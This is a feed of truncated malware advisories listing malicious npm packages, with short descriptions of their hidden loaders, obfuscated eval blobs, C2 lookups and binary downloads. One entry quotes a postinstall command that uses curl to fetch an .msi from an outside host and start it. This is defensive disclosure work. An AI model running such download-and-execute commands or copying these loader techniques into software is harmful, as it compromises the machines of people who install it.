Malicious code in taiga-ui-proprietary-navigation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f9be903f19ea37784411ce57029badf1434b3c273eded5c55622980e98b8aa2c Package advertises itself as Taiga UI proprietary navigation components but ships adapter.js, which is required by index.js at module load. On requir...

Malicious code in statist-browser-typed-client-risktech.uwfrontantifraud.events (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e4bd3cdacfc8ad3f6e278f3bdfa4c19ed82be8ad966863c91c176af4f712d26 On require/import, compat.js reached from index.js downloads a platform-specific executable from hardcoded Cloudflare Workers subdomains...

Malicious code in sme-scripts-shared-library-webpack-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a07df8d1831729273ad5bbc396191492c36cbf0f4d870af35c1101579ce0c9 [email protected] executes an install/import-time dropper. index.js requires./setup at module load, which selects a...

MAL-2026-12486 Malicious code in travel-core-typings-reducers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f8a32e0a10123bde764e059abea762d4b0574d57d35e6bd3e92e4d96cdeb245 On require of the package, index.js loads ext.js which downloads a platform-specific binary from runtime-assembled Cloudflare workers.dev hostnames...

Malicious code in pfp-forms-independent-sme-glossary-anchor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c96f28993eb59bb78a357534cf64aac001732fc4951ccb33f8eca2a3ce615f3c On require of the package, index.js loads compat.js which reconstructs mirror hostnames via string-splitting joins oob-worker.cf102-baf.workers.dev,...

Malicious code in log-min (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5dc78815e8c40947273929a7224aa04230de911771e62580045fb8bb213468c9 The package publishes as 'log-min' with a description claiming it is a JavaScript library for the Theta Blockchain, while its README identifies the...

Malicious code in statist-browser-typed-client-mb.product.operations (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8cd571b2f151fe07ba9e4be24c62290f79b73880ec1da77324b192a1b3af24f index.js unconditionally requires./bridge on module load. bridge.js selects an OS/arch-specific payload URL from string-array-concatenated hostnames...

Malicious code in finance-business-company-id-models (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d324092012d8b7c4dda17720255575963c9e35fcd86e254541cdf7abb5edffcf On require of this package, index.js loads compat.js which reconstructs destination hostnames from string-split arrays e.g...

MAL-2026-12324 Malicious code in @nasdtickets/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d260e32207d8cb161b0a72f1337a42c9755b9550a8eda1e70f0b4182273d476b build/index.js the package main appends a hidden evalatob'...' block after the legitimate exportStar boilerplate, separated by a long run of tab...

MAL-2026-12318 Malicious code in @hoteldev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bb27849cbb16840b019ef47d6a84627d61eb9d48df28da5a9bc1a208e1ff758 build/index.js appends an evalatob... block after the normal exportStar section that decodes to an import-time loader. The loader resolves a C2 IP by...

Malicious code in @hoteldev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bb27849cbb16840b019ef47d6a84627d61eb9d48df28da5a9bc1a208e1ff758 build/index.js appends an evalatob... block after the normal exportStar section that decodes to an import-time loader. The loader resolves a C2 IP by...

MAL-2026-12437 Malicious code in simplipayng (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf21e1f6c1fc8a9e9caa3a8383da1b2fb4dd863fc531e17771209b14284e087 dist/cjs/index.js appends an evalatob... blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for th...

Malicious code in simplipayng (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf21e1f6c1fc8a9e9caa3a8383da1b2fb4dd863fc531e17771209b14284e087 dist/cjs/index.js appends an evalatob... blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for th...

Malicious code in block_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51 scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npmblockpackage.msi & start...

MAL-2026-12485 Malicious code in trapp-configuration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 370baaa269109c0e76c1e6ff8a0c9a9e1e424c53f3bb835ee53beefd3f2af70c On require'trapp-configuration', index.js loads adapter.js which selects a platform-specific URL, downloads an opaque binary from one of three...

Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

MAL-2026-12370 Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

Malicious code in bnpl-blocks-independent-bnpl-search (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e70389e1435e74337e9c402d824a2e90eeb0b2e9f82fc670035973a18382c558 On require of the package, index.js loads runtime.js which downloads a platform-specific binary from runtime-assembled .workers.dev hosts...

MAL-2026-12323 Malicious code in @nasddatax/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf5662d7c8759acd7a9a541baddd3bf4787594fafcd38f8a4eaf27bbe57d558 build/index.js appends an evalatob... trailer after legitimate re-exports. On require, the decoded loader queries public Ethereum JSON-RPC endpoints...

Malicious code in @nasddatax/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf5662d7c8759acd7a9a541baddd3bf4787594fafcd38f8a4eaf27bbe57d558 build/index.js appends an evalatob... trailer after legitimate re-exports. On require, the decoded loader queries public Ethereum JSON-RPC endpoints...